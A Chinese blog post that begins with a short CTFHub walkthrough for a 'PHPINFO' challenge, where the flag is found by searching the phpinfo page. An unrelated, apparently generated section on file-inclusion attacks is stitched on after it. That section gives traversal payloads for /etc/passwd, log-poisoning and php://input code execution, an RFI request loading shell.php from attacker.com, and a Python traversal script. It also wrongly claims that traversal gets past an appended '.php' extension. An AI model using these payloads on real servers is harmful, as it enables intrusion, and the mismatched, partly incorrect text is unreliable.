CTFHub技能树——信息泄露——PHPINFO

本文指导读者如何在phpinfo页面中搜索隐藏的flag,通过Ctrl+F快速定位关键信息,适合寻找技术挑战的入门者。

打开环境看题目

如下

 

 没有其他的操作,点击“点击查看phpinfo”。

 得到了一个很长很长的页面,根据提示flag就藏在其中,怎么办呢?

不要慌,直接ctrl+f打开查找栏,搜索“flag”,就找到了。

 

在CTF比赛中,文件包含是一种常见的漏洞类型,通常涉及到本地文件包含(LFI)和远程文件包含(RFI)。解题的关键在于理解Web应用如何处理文件包含请求,并利用这些漏洞获取敏感信息或执行恶意代码。 ### 本地文件包含(LFI) LFI漏洞允许攻击者通过构造特定的请求来读取服务器上的任意本地文件。这种漏洞通常出现在动态包含文件时,没有正确过滤用户输入。 #### 解题技巧 - **路径遍历**:利用`../`来访问父目录,尝试读取敏感文件,如`/etc/passwd`。例如,如果应用包含文件的方式是`include($_GET['page'] . ".php")`,可以通过构造请求`?page=../../etc/passwd`来读取密码文件[^3]。 - **日志文件注入**:攻击者可以通过向服务器日志文件中注入PHP代码,然后利用LFI漏洞包含并执行这些日志文件。常见的日志文件位置包括`/var/log/apache/access.log`或`/var/log/apache/error.log`。例如,发送一个带有PHP代码的HTTP请求,如`GET /<?php phpinfo(); ?> HTTP/1.1`,然后通过LFI包含日志文件`?page=../../var/log/apache/access.log`来执行代码。 - **临时文件利用**:上传文件时,PHP会将上传的文件存储在一个临时目录中,默认情况下这个文件名是随机生成的。可以通过包含临时文件来执行上传的PHP代码。例如,上传一个包含PHP代码的文件,然后利用`/tmp/phpXXXXXX`这样的路径来包含并执行代码。 ### 远程文件包含(RFI) RFI漏洞允许攻击者从远程服务器上包含文件,这通常是因为应用允许包含外部URL。RFI可以导致远程代码执行(RCE)。 #### 解题技巧 - **直接包含远程文件**:如果应用允许包含远程文件,可以直接上传一个PHP shell到攻击者的服务器,然后通过构造请求来包含并执行这个shell。例如,构造请求`?page=http://attacker.com/shell.php`,其中`shell.php`包含恶意代码[^3]。 - **利用PHP伪协议**:PHP提供了一些伪协议,如`php://input`和`php://filter`,可以用于读取输入流或过滤数据。例如,使用`php://input`来读取POST请求中的数据并执行,构造请求`?page=php://input`并在POST中发送PHP代码。 - **编码绕过**:有时服务器会对输入进行过滤,可以通过编码绕过这些限制。例如,使用URL编码或Base64编码来绕过简单的过滤机制,然后在包含文件时解码执行[^3]。 ### 示例代码 以下是一个简单的PHP代码示例,展示了如何利用LFI漏洞读取`/etc/passwd`文件: ```php <?php $page = $_GET['page']; include($page . ".php"); ?> ``` 通过构造请求`?page=../../etc/passwd`,可以绕过文件扩展名的限制,直接读取`/etc/passwd`文件的内容。 ```python # 示例Python代码,用于发送HTTP请求 import requests url = "http://example.com/vulnerable_page.php" params = {"page": "../../etc/passwd"} response = requests.get(url, params=params) print(response.text) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值